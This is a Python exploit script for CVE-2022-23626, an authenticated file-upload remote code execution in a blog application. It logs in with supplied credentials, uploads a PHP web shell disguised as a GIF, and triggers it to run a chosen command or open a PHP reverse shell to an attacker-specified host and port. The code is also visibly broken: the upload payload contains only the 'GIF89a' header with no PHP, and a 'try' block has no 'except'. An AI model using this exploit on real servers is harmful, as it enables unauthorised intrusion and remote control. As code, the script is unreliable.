import argparse from base64 import b64encode import requests def get_args(): parser = argparse.ArgumentParser( description='Authenticated RCE File Upload - CVE-2022-23626', epilog='Examples:\n' ' python3 cve-2022-23626.py --url http://localhost:8080 -u admin -p admin -c id\n' ' python3 cve-2022-23626.py --url http://localhost:8080 -u admin -p admin -lh 172.16.1.2 -lp 4444', formatter_class=argparse.RawDescriptionHelpFormatter, ) parser.add_argument('--url', help='Base URL for the Blog (e.g. http://target:8081)', required=True) parser.add_argument('-u', '--username', help='Blog username', required=True) parser.add_argument('-p', '--password', help='Blog password', required=True) parser.add_argument('-lh', '--lhost', help='Listening host for reverse shell', required=False) parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', required=False) parser.add_argument('-c', '--command', help='Custom command to run instead of reverse shell', required=False) return parser.parse_args() def get_tokens(url): resp = requests.get(url) if resp.status_code != 200: print(f'[!] Failed to reach {url} (status {resp.status_code})') return None, None cookie = resp.cookies.get_dict().get('PHPSESSID') if not cookie: print('[!] No PHPSESSID cookie found') return None, None try: csrf = resp.text.split('":"')[1].split('"')[0] except (IndexError, AttributeError): print('[!] Could not find CSRF token') return None, None print(f'[+] PHPSESSID: {cookie}') print(f'[+] CSRF-Token: {csrf}') return cookie, csrf def login(url, cookie, csrf, username, password): resp = requests.post( f'{url}/ajax.php', headers={'X-Requested-With': 'XMLHttpRequest', 'Csrf-Token': csrf}, cookies={'PHPSESSID': cookie}, data={'action': 'login', 'nick': username, 'pass': password}, ) result = resp.json() if result.get('logged_in'): print('[+] Login successful') return True print(f'[!] Login failed: {result}') return False def upload_shell(url, cookie, csrf, command): php_code = f"GIF89a" resp = requests.post( f'{url}/ajax.php?action=upload_image', headers={'X-Requested-With': 'XMLHttpRequest', 'Csrf-Token': csrf}, cookies={'PHPSESSID': cookie}, files={'file': ('shell.gif.php', php_code.encode(), 'image/gif')}, ) result = resp.json() path = result.get('path') if not path: print(f'[!] Upload failed: {result}') return None print(f'[+] Shell uploaded: {path}') return path def trigger(url, path): print('[*] Triggering payload...') try: resp = requests.get(f'{url}/{path}', timeout=5) # Strip the GIF89a header output = resp.text.replace('GIF89a', '').strip() if output: print(f'[+] Output:\n{output}') print('[+] Done') def main(): args = get_args() if args.command: cmd = args.command elif args.lhost and args.lport: cmd = f"php -r '$sock=fsockopen(\"{args.lhost}\",{args.lport});exec(\"/bin/bash <&3 >&3 2>&3\");'" else: print('[!] Provide either --command or both --lhost and --lport') return cookie, csrf = get_tokens(args.url) if not cookie or not csrf: return if not login(args.url, cookie, csrf, args.username, args.password): return path = upload_shell(args.url, cookie, csrf, cmd) if not path: return trigger(args.url, path) if __name__ == '__main__': main()